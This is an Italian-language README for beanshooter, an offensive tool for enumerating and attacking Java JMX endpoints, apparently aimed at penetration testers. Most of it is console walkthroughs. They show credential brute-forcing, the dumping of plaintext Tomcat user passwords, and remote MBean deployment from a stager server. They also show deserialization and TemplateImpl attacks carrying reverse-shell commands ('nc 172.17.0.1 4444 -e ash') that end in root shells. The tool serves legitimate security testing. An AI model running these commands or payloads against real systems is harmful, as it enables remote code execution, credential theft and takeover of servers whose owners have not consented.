qtc-de/beanshooterStrumento di enumerazione e attacco JMX.
beanshooter è uno strumento di enumerazione e attacco JMX, che aiuta a identificare vulnerabilità comuni sugli endpoint JMX.
beanshooter è un progetto maven e l'installazione dovrebbe essere semplice. Con maven
installato, basta eseguire i seguenti comandi per creare un file .jar eseguibile:```console
[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter
[qtc@devbox ~]$ cd beanshooter
[qtc@devbox ~]$ mvn package
Puoi anche utilizzare i pacchetti precompilati creati per [ogni release](https://github.com/qtc-de/beanshooter/releases). I pacchetti precompilati per il ramo di sviluppo vengono creati automaticamente e si trovano sulla [pagina delle azioni](https://github.com/qtc-de/beanshooter/actions) di *GitHub*. È inoltre disponibile un'immagine Docker precompilata per eseguire *beanshooter* [disponibile](#docker-image).
*beanshooter* non include *ysoserial* come dipendenza. Per abilitare il supporto a *ysoserial*, è necessario specificare il percorso del file ``ysoserial.jar`` come argomento aggiuntivo (ad esempio ``--yso /opt/ysoserial.jar``) oppure modificare il percorso predefinito all'interno del [file di configurazione di beanshooter](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) prima di compilare il progetto.
*beanshooter* supporta l'autocompletamento per *bash*. Per sfruttare l'autocompletamento, è necessario avere installato il progetto [completion-helpers](https://github.com/qtc-de/completion-helpers). Se configurato correttamente, è sufficiente copiare lo [script di completamento](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) nella cartella ``~/.bash_completion.d`` per abilitare l'autocompletamento.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/
Le diverse operazioni di beanshooter possono essere suddivise in due gruppi: operazioni base e operazioni MBean. Mentre le operazioni base vengono utilizzate per eseguire operazioni generali su un endpoint JMX, le operazioni MBean mirano a interagire con uno specifico MBean. Per maggiori dettagli, consulta gli esempi di utilizzo nelle sezioni seguenti.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...
beanshooter v3.0.0 - a JMX enumeration and attacking tool
positional arguments:
Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server
MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files
named arguments: -h, --help show this help message and exit
### Operazioni di base
---
Le operazioni di base sono operazioni di uso generale che possono essere eseguite su un servizio JMX. Di solito si tratta di
operazioni che non hanno come target un MBean specifico o che hanno come target un MBean senza supporto integrato da beanshooter.
#### Attr
L'azione `attr` può essere utilizzata per ottenere o impostare attributi su un *MBean* specificato. Per ottenere gli attributi disponibili,
si dovrebbe utilizzare l'azione `info`:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
Quando viene specificato solo il nome dell'attributo, beanshooter ottiene e visualizza il valore corrente dell'attributo:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false
Quando viene specificato un valore aggiuntivo, *beanshooter* tenta di impostare l'attributo corrispondente. Per attributi che hanno un tipo diverso da *String*, è necessario specificare il tipo di attributo usando l'opzione `--type`:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true
L'azione brute esegue un attacco di forza bruta su un servizio JMX protetto da password. Quando viene eseguita senza argomenti opzionali aggiuntivi, beanshooter utilizza una wordlist integrata con alcune combinazioni comuni di nome utente e password. Per attacchi più mirati, dovresti usare le opzioni --username-file e --password-file per specificare wordlist più esaustive.```console
[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090
[+] Reading wordlists for the brute action.
[+] Reading credentials from internal wordlist.
[+]
[+] Starting bruteforce attack with 10 credentials.
[+]
[+] Found valid credentials: admin:admin
[+] [10 / 10] [########################################] 100%
[+]
[+] done.
#### Distribuisci
L'azione `deploy` può essere utilizzata per distribuire un *MBean* su un servizio *JMX*. Questa azione **non dovrebbe** essere utilizzata per distribuire *MBean* con supporto predefinito come ad esempio il *TonkaBean*. La distribuzione di *MBean* con supporto predefinito dovrebbe essere effettuata tramite le corrispondenti [operazioni MBean](#mbean-operations).
Quando l'*MBean* che si desidera distribuire è già noto al servizio *JMX*, è sufficiente specificare il nome della classe dell'*MBean* implementante e il `ObjectName` desiderato:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: StringMonitor
[+] MBean with object name qtc.test:type=Monitor was successfully deployed.
Quando la classe MBean non è nota al servizio JMX, puoi utilizzare le opzioni --jar-file e --stager-url per fornire un'implementazione:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: ExampleBean
[+]
[+] MBean class is not known to the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: non.existing.example.ExampleBean
[+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Object: qtc.test:type=Example
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484
[+]
[+] MBean with object name qtc.test:type=Example was successfully deployed.
#### Enum
L'azione `enum` enumera alcuni dettagli di configurazione su un endpoint *JMX*. Controlla sempre se l'endpoint *JMX* richiede autenticazione e se consente deserializzazione arbitraria pre-autenticata.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server requires authentication.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer accepted the payload class.
[+] Configuration Status: Non Default
Quando l'autenticazione non è richiesta, o quando sono state specificate credenziali valide, l'azione enum tenta anche di
enumerare alcune ulteriori informazioni dall'endpoint JMX. Ciò include un elenco di MBeans non predefiniti e,
ad esempio, gli account utente registrati su un server Apache Tomcat:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 57 MBeans are currently registred on the MBean server.
[+] Listing 39 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 3 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[...]
Quando si invoca l'azione `enum` su un endpoint protetto da *SASL*, *beanshooter* tenta di enumerare il profilo *SASL* configurato per il server. Ciò è possibile solo fino a un certo punto e la configurazione *TLS* del server non può essere enumerata. Se il profilo *SASL* identificato da *beanshooter* non funziona, si dovrebbe sempre riprovare con/senza l'opzione `--ssl`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] Credentials are requried and the following hostname must be used: iinsecure.example
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
...
L'azione info può essere utilizzata per ottenere informazioni sui metodi e sugli attributi degli MBeans disponibili sul MBean server.
Se invocata senza argomenti aggiuntivi, vengono stampate le informazioni sui metodi e sugli attributi di tutti gli MBeans disponibili. Specificando
un ObjectName aggiuntivo, vengono stampate solo le informazioni sui metodi e sugli attributi dell'MBean specificato:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
#### Invoke
L'azione `invoke` può essere usata per invocare un metodo arbitrario su un *MBean* già distribuito su un endpoint *JMX*.
Oltre all'endpoint, l'azione `invoke` richiede l'`ObjectName` del *MBean* di destinazione e la firma del metodo che si desidera
invocare. Se il metodo specificato prevede argomenti, questi devono essere specificati. Il seguente elenco mostra un esempio
di invocazione di un metodo senza argomenti, dove viene invocato il metodo `vmVersion()` del *MBean* `DiagnosticCommand`:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1
Quando si invoca un metodo che richiede parametri, gli argomenti specificati di beanshooter vengono valutati come codice Java. Tipi di argomenti semplici come interi o stringhe possono essere passati semplicemente specificando il loro valore corrispondente. Tipi di argomenti complessi possono essere costruiti come si farebbe in Java (ad esempio 'new java.util.HashMap()'). La seguente lista mostra un esempio, dove il metodo help(String[] args) viene invocato sul MBean DiagnosticCommand:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }'
Compiler.directives_add
Add compiler directives from file.
Impact: Low
Permission: java.lang.management.ManagementPermission(monitor)
Syntax : Compiler.directives_add
Arguments: filename : Name of the directives file (STRING, no default value)
Per tipi di argomento più complessi che richiedono un'inizializzazione, puoi utilizzare *beanshooters PluginSystem* e definire una classe personalizzata che implementa l'[Interfaccia IArgumentProvider](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java).
#### Jolokia
Come descritto nella [documentazione di Jolokia](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) di *beanshooter*, quasi tutte le azioni di *beanshooter* possono essere utilizzate insieme all'opzione `--jolokia` per indirizzare endpoint *JMX* basati su *Jolokia*. Oltre a questo supporto generico per l'adattatore *Jolokia JMX*, *beanshooter* supporta un'azione `jolokia` dedicata. Questa azione può essere utilizzata per forzare una connessione in uscita di un agente *Jolokia* in esecuzione con la modalità proxy abilitata:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0
Lo stesso risultato potrebbe essere ottenuto invocando una normale operazione beanshooter come list e utilizzando l'opzione --jolokia-proxy service:jmx:.... L'azione jolokia è stata aggiunta come scorciatoia in modo da non dover ricordare la sintassi JNDI. Quando si utilizza l'azione jolokia, l'opzione --jolokia è assunta per impostazione predefinita.
L'azione list stampa un elenco di tutti gli MBeans registrati sul servizio JMX remoto:```console
[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010
[+] Available MBeans:
[+]
[+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)
[+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)
[+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)
[...]
#### Model
L'azione `model` è una delle operazioni più potenti di *beanshooter* e implementa una tecnica
identificata da [Markus Wulftange](https://twitter.com/mwulftange) che consente di invocare metodi Java arbitrari
*pubblici* e *statici*. Inoltre, è possibile invocare metodi di oggetti *pubblici* su un'istanza di un oggetto
creato dall'utente. Gli unici requisiti sono che gli argomenti del metodo utilizzato e l'istanza
dell'oggetto fornita (per metodi *non statici*) siano serializzabili.
L'esempio seguente mostra un utilizzo, dove un oggetto `File` viene fornito come istanza
dell'oggetto e su di esso viene invocata l'operazione `String[] list()`:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv
Il metodo setManagedResource è sempre disponibile e può essere utilizzato per cambiare l'istanza dell'oggetto su cui operare:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...
Quando si invocano metodi *statici*, è richiesta anche un'istanza di oggetto. Tuttavia, la classe effettiva dell'istanza dell'oggetto non è importante. Ad es., se si desidera invocare `getProperties()` da `java.lang.System`, si potrebbe anche usare una semplice `String` come istanza dell'oggetto. Solo il nome della classe specificato è importante in questo caso:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...
L'azione model usa la riflessione per determinare i metodi disponibili sulla classe specificata. Se non si dispone della classe localmente, è comunque possibile utilizzarla specificando i metodi disponibili tramite le opzioni --signature o --signature-file. Ciò detto, per ottenere l'accesso a classi non predefinite è necessario fornire un'istanza di un oggetto che non sia anch'esso una classe predefinita (non presente in rt.jar). Questo è richiesto perché la classe target deve essere caricata dallo stesso ClassLoader dell'istanza oggetto fornita. Per il beanshooters example-server, javax.management.remote.message.VersionMessage è adatto, poiché questa classe è presente in opendmk_jmxremote_optional_jar che è presente sia nel client che nel server. Possiamo usarla come istanza oggetto per invocare metodi su altre classi personalizzate, come de.qtc.beanshooter.server.utils.Logger:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
Se vuoi saperne di più sulla tecnica implementata dall'azione `model`, ti consiglio vivamente questo [post del blog](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) di [CODE WHITE](https://twitter.com/codewhitesec) che la spiega in grande dettaglio.
#### Serial
L'azione `serial` può essere utilizzata per effettuare attacchi di deserializzazione su un endpoint *JMX*. Per impostazione predefinita, l'azione tenta attacchi di deserializzazione post-autenticazione. Affinché funzioni, il servizio *JMX* di destinazione deve consentire l'accesso non autenticato oppure sono necessarie credenziali valide:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)
JMX services possono anche essere vulnerabili ad attacchi di deserializzazione pre-autenticati. Per abusare di ciò, puoi usare l'opzione --preauth:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)
Contro gli endpoint *JMXMP*, la deserializzazione pre-autenticata è solitamente possibile. Sfortunatamente, non c'è un modo per enumerarlo correttamente durante l'azione `enum`. Se incontri un endpoint *JMXMP*, dovresti provarlo.
#### Stager
L'azione `stager` avvia un server stager che può essere utilizzato per distribuire *MBeans*. La creazione di un server stager per la distribuzione di *MBean* viene solitamente eseguita automaticamente quando si utilizza l'azione `deploy` di *beanshooters*. Tuttavia, a volte è necessario utilizzare un server autonomo. Quando si utilizza l'azione `stager`, è possibile specificare il nome di un *MBean* integrato da distribuire (ad es. `tonka`) oppure la parola chiave `custom`. Se viene specificato `custom`, sono richieste le opzioni `--class-name`, `--object-name` e `--jar-file`.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+]
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
L'azione standard distribuisce un StandardMBean che implementa la classe TemplateImpl per raggiungere
diversi obiettivi. Questa tecnica è stata identificata da Markus Wulftange
e beanshooter la implementa per consentire l'esecuzione di comandi, il caricamento di file e la distribuzione di TonkaBean.```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)
L'esecuzione dei comandi tramite l'azione `standard` è cieca e non si riceve l'output del comando.
Inoltre, per impostazione predefinita, il comando viene passato a `Runtime.exec(String str)`, che non supporta funzionalità speciali della shell. Se si desidera utilizzare funzionalità della shell, utilizzare l'opzione `--exec-array` e specificare il comando in questo modo: `'sh -c echo "my cool command" > /tmp/test.txt'`. Con `--exec-array`, *beanshooter* suddivide il comando specificato in tre parti e le passa a `Runtime.exec(String[] arr)`. Tuttavia, si consiglia generalmente di utilizzare la distribuzione *TonkaBean* per eseguire comandi:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
Il grande vantaggio rispetto alla normale azione tonka deploy è che la distribuzione tramite StandardMBean
non richiede una connessione di rete in uscita. Se una distribuzione diretta tramite standard ... tonka non funziona,
potrebbe essere possibile caricare il file Jar di TonkaBean e caricarlo tramite MLet e il protocollo file://:```console
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
Se vuoi saperne di più sulla tecnica implementata dall'azione `standard`, ti consiglio vivamente questo [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) di [CODE WHITE](https://twitter.com/codewhitesec) che la spiega in grande dettaglio.
#### Undeploy
L'azione `undeploy` rimuove l'*MBean* con l'`ObjectName` specificato dal servizio *JMX*:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.
A differenza delle operazioni di base che mirano alla funzionalità generale esposta da un endpoint JMX, le operazioni MBean puntano a uno specifico MBean. Per ogni MBean supportato, beanshooter fornisce un altro sottoparser contenente le operazioni e le opzioni disponibili per il corrispondente MBean. L'elenco seguente mostra un esempio per l'MBean mlet e il relativo sottoparser:```console
[qtc@devbox ~]$ beanshooter mlet -h
usage: beanshooter mlet [-h] ...
positional arguments:
load load a new MBean from the specified URL
attr set or get MBean attributes
deploy deploys the specified MBean on the JMX server
info print server information about the MBean
invoke invoke the specified method on the MBean
stats print local information about the MBean
status checks whether the MBean is registered
undeploy undeploys the specified MBEAN from the JMX server
named arguments: -h, --help show this help message and exit
### Operazioni Generiche MBean
---
Alcune operazioni *beanshooter* sono disponibili per ogni *MBean* e sono dimostrate in questa sezione.
Queste operazioni generiche *MBean* spesso rispecchiano le funzionalità delle [operazioni di base](#basic-operations),
ma senza la necessità di specificare un *ObjectName*.
#### Attr Generico
L'azione `attr` funziona allo stesso modo dell'azione `attr` delle operazioni di base. Tuttavia, *ObjectName* non deve più essere specificato, poiché è contenuto nel *MBean* specificato.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase
L'azione deploy funziona sostanzialmente come l'azione deploy delle operazioni di base.
Tuttavia, poiché il nome della classe, ObjectName e il file jar di implementazione sono già tutti associati
al MBean specificato, è sufficiente specificare l'opzione --stager-url con questa azione (supponendo che
sia disponibile un file jar predefinito):```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known to the server.
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /440441bf8c794d40a83caf1e34cd9993
[+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
A partire da *beanshooter v4.1.0*, è anche possibile distribuire il *TonkaBean* tramite l'azione [standard](#standard).
